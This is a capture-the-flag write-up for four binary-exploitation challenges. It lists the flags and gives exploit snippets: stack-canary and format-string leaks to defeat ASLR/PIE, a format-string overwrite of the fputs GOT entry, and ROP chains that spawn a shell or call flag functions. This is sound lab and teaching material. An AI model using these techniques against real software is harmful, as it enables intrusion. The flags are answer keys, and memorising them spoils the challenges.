CTF Challenge Write-Up

Problem ID	Captured Flag	Steps (Summary)
P1 – leaks	`fsuCTF{ThereIsALeakInTheFunction}`	Leak stack canary, leak libc address via format string, buffer overflow to ROP chain calling system('/bin/sh')
P2 – iron throne	`fsuCTF{4_l4nni573r_41w4y5_0verwri735_hi5_go7}`	Format string write to overwrite fputs GOT entry with system address, trigger call with controlled input
P3 – gambler-1	`fsuCTF{if_y0u_wan7_t0_learn_7he_gameb0y}`	Leak main address to defeat PIE, compute base, overflow buffer, ROP chain to payout then buy_flag
P4 – gambler-2	`fsuCTF{y0u_g077a_1earn_t0_pl4y_i7_righ7}`	Leak PIE address via format string in name input, overflow bet buffer, ROP chain to payout then buy_flag

P1 – leaks

This binary has three separate vulnerabilities that must be chained together: a stack canary leak, a format string libc leak, and a buffer overflow that enables a ROP chain.

Step 1: Canary Leak

The program leaks the stack canary value before taking the overflow input. The canary must be captured and reinserted into the payload so the stack check does not abort the program:

```
canary = int(r.recvline().strip(), 16)  # or parsed from output
```

Step 2: Libc Leak via Format String

A format string vulnerability in the binary allows reading a libc address off the stack. This is used to compute the libc base and resolve system() and /bin/sh at runtime:

```
r.sendline(b'%p.%p.%p...')         # adjust index to hit libc addr
leaked_libc  = int(leak, 16)
libc_base    = leaked_libc - libc.symbols['__libc_start_main']
system       = libc_base + libc.symbols['system']
bin_sh       = libc_base + next(libc.search(b'/bin/sh'))
```

Solution

1. Leak the stack canary from program output
2. Leak a libc address using the format string vulnerability
3. Compute libc base, system(), and /bin/sh addresses
4. Build payload: padding + canary + saved rbp + p64(system) + p64(bin_sh)
5. Send payload — ROP chain executes system('/bin/sh'), then cat flag.txt

```
payload  = b'A' * offset
payload += p64(canary)
payload += p64(0)           # saved rbp
payload += p64(ret_gadget)  # stack alignment
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)
```

Flag: **fsuCTF{ThereIsALeakInTheFunction}**

P2 – iron throne

This binary passes user input directly to printf, creating a format string vulnerability. The goal is to use this to overwrite a GOT entry and redirect execution to system().

Vulnerability

When user input is passed unsanitized to printf, an attacker can use %n-style writes to overwrite arbitrary memory. The target is the GOT entry for fputs, which is overwritten with the address of system:

```
# Normal call: fputs(buf, stdout)
# After overwrite: system(buf)  <- buf becomes our command string
```

Solution

1. Identify the format string vulnerability where input is passed directly to printf
2. Leak the address of system() from program output or via format string read
3. Use a format string write payload to overwrite fputs in the GOT with system's address
4. Trigger the overwritten fputs call by sending '/bin/sh' as input
5. Execution redirects to system('/bin/sh') then interact with shell and cat flag.txt

```
# Overwrite GOT entry
payload = fmtstr_payload(offset, {fputs_got: system_addr})
r.sendline(payload)

# Trigger the overwritten call
r.sendline(b'/bin/sh')
```

Flag: **fsuCTF{4_l4nni573r_41w4y5_0verwri735_hi5_go7}**

P3 – gambler-1

This binary is compiled as PIE, so all addresses are randomized at runtime. However, it leaks the address of main() in its output, which allows the PIE base to be computed and all function addresses to be resolved.

PIE Bypass

With the leaked main address, the PIE base is computed and the addresses of payout() and buy_flag() are resolved:

```
pie_base = leaked_main - elf.symbols['main']
payout   = pie_base + elf.symbols['payout']
buy_flag = pie_base + elf.symbols['buy_flag']
```

Solution

1. Receive the leaked main address from program output
2. Compute PIE base: leaked_main - elf.symbols['main']
3. Resolve payout() and buy_flag() addresses using the computed base
4. Find the return address offset in the scanf input buffer
5. Build ROP payload: padding + p32(payout) + p32(buy_flag)
6. Send payload then payout runs with a large value, then buy_flag prints the flag

```
payload = flat({
    offset:   p32(payout),
    offset+4: p32(buy_flag)
})
```

Flag: **fsuCTF{if_y0u_wan7_t0_learn_7he_gameb0y}**

P4 – gambler-2

This binary is also PIE but does not leak an address directly. Instead, a format string vulnerability in the name input allows reading a PIE address off the stack, which is used to compute the base.

Format String Leak

By sending a format string payload as the name input, a PIE address is read from the stack:

```
r.sendline(b'%p.%p.%p...')   # adjust index until PIE addr found
pie_base = leaked_addr - known_offset
payout   = pie_base + elf.symbols['payout']
buy_flag = pie_base + elf.symbols['buy_flag']
```

Solution

1. Send a format string payload as the name input to leak a PIE address
2. Compute PIE base from the leaked address and its known binary offset
3. Resolve payout() and buy_flag() addresses using the computed base
4. Find the return address offset in the bet buffer
5. Build ROP payload: padding + p32(payout) + p32(buy_flag)
6. Overflow the bet buffer with the payload then ROP chain executes and prints the flag

```
payload = flat({
    offset:   p32(payout),
    offset+4: p32(buy_flag)
})
```

Flag: **fsuCTF{y0u_g077a_1earn_t0_pl4y_i7_righ7}**